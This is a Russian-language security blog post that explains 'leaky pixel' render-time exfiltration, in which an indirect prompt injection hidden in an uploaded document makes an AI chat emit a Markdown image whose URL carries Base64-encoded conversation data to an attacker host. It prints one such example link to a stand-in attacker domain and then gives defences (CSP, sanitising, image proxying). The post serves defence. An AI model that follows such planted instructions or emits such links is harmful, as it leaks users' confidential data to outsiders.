Назад в блог

Дырявый пиксель: как изображения в Markdown незаметно сливают данные ИИ

15 сентября 2026 г. · 3 мин чтения
Дырявый пиксель: как изображения в Markdown незаметно сливают данные ИИ - У вашего ИИ нет выхода в интернет, но скрытый промпт заставляет его вставить картинку в Markdown. Как работает утечка данных через пиксели и как ее закрыть.

Инженеры по безопасности часто успокаивают руководство весомым техническим аргументом: наша внутренняя языковая модель полностью изолирована. У нее нет инструментов выхода в интернет, нет права вызывать внешние вебхуки, а сама она развернута в закрытом контуре облака. Даже если злоумышленник внедрит вредоносный промпт, модели попросту не через что передать украденные данные наружу.

Эта уверенность рушится в тот момент, когда ответ нейросети отображается на мониторе сотрудника.

Специалист загружает коммерческое предложение от нового контрагента во внутренний чат с ИИ и просит подготовить краткую выжимку. Внутри документа спрятана непрямая инъекция. Модель послушно выдает аккуратный список тезисов, но в самом конце генерирует неприметную строчку разметки Markdown:

![status](https://attacker-analytics.com/pixel.png?data=Q0VPIHNhbGFyeTogJDEuMk0...)

Сама нейросеть ни к какому интернету не подключалась. Но к интернету подключен браузер сотрудника. Чтобы отобразить картинку из разметки, браузер автоматически отправляет HTTP-запрос по указанному адресу, прикрепив конфиденциальные данные диалога прямо к URL в виде строки Base64.

В сфере практической безопасности этот метод называют утечкой данных на этапе рендеринга (render-time data exfiltration) или «дырявым пикселем».

Зеркало в запечатанном конверте

В веб-разработке синтаксис Markdown привыкли считать безобидным текстом. Жирный шрифт, таблицы, блоки кода и картинки кажутся пассивными элементами оформления.

Генеративные модели меняют правила игры.

Работа с веб-интерфейсом ИИ напоминает вскрытие письма, внутри которого лежит маленькое карманное зеркальце. Отправитель за дверью не видит вашу комнату, а в бумажном конверте нет скрытых микрофонов. Но стоит подойти с письмом к окну, как зеркало ловит луч света и посылает солнечный зайчик прямо в объектив наблюдателя на крыше напротив.

Конверт ничего не передавал сам по себе. Передатчиком сработали ваше собственное окно и комнатное освещение.

Физическому зеркалу требуется ясная погода и прямая видимость. Браузер действует куда надежнее: движок веб-страницы отправляет зашифрованный запрос за доли секунды, легко минуя корпоративные брандмауэры, которые без проблем пропускают обычный исходящий веб-трафик.

Как разворачивается атака без кликов

Главная опасность внедрения изображений через Markdown — отсутствие необходимости в действиях пользователя. Жертве не нужно кликать по сомнительным ссылкам или скачивать файлы. Утечка происходит в момент отрисовки экрана:

  1. Заражение контекста: Вредоносная инструкция попадает в документ, который анализирует модель: корпоративный отчет, входящее письмо от клиента или тикет в поддержке.
  2. Перехват логики: Инструкция заставляет ИИ закодировать предыдущие вопросы пользователя и финансовые цифры в строку формата Base64 и вставить ее в параметр ссылки на изображение Markdown.
  3. Фоновый запрос: Веб-интерфейс получает текст и переводит его в тег <img src="...">. Браузер видит изображение и моментально делает фоновый запрос к удаленному серверу злоумышленника.
  4. Фиксация данных на сервере: Сервер атакующего сохраняет параметры запроса в журнале доступа. Даже если в ответ вернется ошибка 404 или пустой прозрачный пиксел, конфиденциальная информация уже доставлена адресату.

Как закрыть канал утечки

Защита от подобных атак не требует отказа от Markdown. Достаточно ограничить сетевые полномочия интерфейса отображения:

  1. Строгая политика Content Security Policy (CSP): Самый надежный барьер настраивается в заголовках веб-сервера. Директива img-src 'self' data:; запрещает браузеру запрашивать изображения со сторонних доменов. Если модель сгенерирует внешнюю ссылку, браузер заблокирует запрос еще до отправки пакетов в сеть.
  2. Санитайзинг разметки перед показом: Библиотеки очистки HTML (например, DOMPurify) должны вырезать теги внешних изображений или преобразовывать их в безопасный текст, требующий ручного подтверждения перехода.
  3. Проксирование медиафайлов: Если корпоративному чату действительно необходимо показывать внешние изображения, запросы должны проходить через внутренний серверный прокси, который очищает URL от подозрительных параметров и блокирует запросы к непроверенным узлам.

Изолированная нейросеть не гарантирует тайны данных, если экран вашего сотрудника не защищен от скрытой трансляции наружу. Проверяла ли ваша команда безопасности, какие сетевые запросы отправляет браузер при отображении ответов корпоративного ИИ?

Есть проект на прицеле?

Давайте обсудим, как мы можем помочь.

Есть идея проекта? →